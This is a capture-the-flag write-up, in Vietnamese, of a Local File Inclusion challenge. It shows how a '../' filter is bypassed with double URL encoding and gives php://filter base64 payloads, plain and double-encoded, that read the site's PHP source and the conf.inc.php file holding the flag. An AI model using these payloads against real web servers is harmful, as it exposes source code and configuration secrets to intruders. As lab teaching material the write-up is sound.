Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Local File Inclusion – Double Encoding

Fuzz với Path Traversal, ta thấy web server block hoặc filter ‘../’:

Tên challenge là LFI – Double Encoding URL Double Encoding. Ta convert ../ --> %252E%252E%252F () %252E = . ; %252F = /)

Đưa vào ?page=[value] ta được:

Đến đây, sau khi append bất kỳ text nào thì server sẽ concat text.inc.php:

Dạo quanh index.html và homepage thì không phát hiện bất kỳ điều gì đặc biệt. Tương tự các bài LFI khác, ta cần get source để xem tác giả đặt gì trong web. Khi xem về cách get source php, ta có payload get như sau:

?page=php://filter/convert.base64-encode/resource=[source_file]

Giờ thì đưa vào payload ta để get source ở home.inc.php:

?page=php://filter/convert.base64-encode/resource=home

Double encoding: ?page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dhome

Bỏ vào base64 decode:

View source không tìm được gì đặc biệt. Tuy vậy, website đã sử dụng thư viện từ conf.inc.php. Từ đó, tiến hành xem thử conf.inc.php:

?page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dconf

Flag xuất hiện trong conf.inc.php:

  • Flag: "****************************"